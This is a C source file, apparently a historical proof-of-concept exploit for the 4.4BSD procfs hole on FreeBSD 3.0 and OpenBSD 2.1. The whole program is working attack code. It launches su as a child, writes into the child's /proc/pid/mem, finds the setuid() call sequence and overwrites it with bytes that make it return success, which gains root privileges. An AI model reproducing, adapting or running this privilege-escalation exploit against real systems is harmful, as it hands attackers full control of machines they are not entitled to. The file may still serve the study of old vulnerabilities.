/* FreeBSD v3.0  OpenBSD 2.1-RELEASE */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

u_char search_code[13] = {
0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
0x31, 0xc0, 0xc3};

main(int argc, char **argv)
{
        int pid;
        int fd;
        char buff[40];
        char *user;

        /* might need to tweak these */
        u_int offset=0x8003000;
        u_int offset_end = 0x8099000;

        if(argc < 2)
        {
                fprintf(stderr, "%s user\n", argv[0]);
                exit(1);
        }
        printf("Demonstration of 4.4BSD procfs hole\n");
        printf("Brian Mitchell <brian@firehouse.net>\n\n");
        printf("after you see \"setuid changed\", enter the pw for the user\n");
        printf("\aBe warned, searching for the setuid() function takes a long time!\n");
        user=argv[1];
        pid = fork();
        switch(pid)
        {
                case -1:
                        perror("fork");
                        exit(1);
                case 0:
                        /* give parent time to open /proc/pid/mem */
                        sleep(3);
                        execl("/usr/bin/su", "su", user, NULL);
                        exit(0);
                default:
                        sprintf(buff, "/proc/%d/mem", pid);
                        fd = open(buff, O_RDWR);
                        if(fd < 0)
                        {
                                perror("open procmem");
                                wait(NULL);
                                exit(1);
                        }
                        /* wait for child to execute suid program */
                        sleep(6);
                        /* stop the child */
                        kill(pid, 17);
                        printf("searching - please be patient...\n");
                        /* search for the setuid code */
                        while(offset != offset_end)
                        {
                                lseek(fd, offset, SEEK_SET);
                                read(fd, buff, 13);
                                if(!bcmp(buff, search_code, 13))
                                {
                                        lseek(fd, offset, SEEK_SET);
                                        write(fd, new_code, 3);
                                        printf("setuid changed (0x%x)\n", offset);
                                        /* sigcont child */
                                        kill(pid, 19);
                                        wait(NULL);
                                        exit(0);
                                }
                                offset++;
                        }
                        printf("setuid not found!!\n");
                        kill(pid, 9);
                        wait(NULL);
                        exit(1);
        }
}

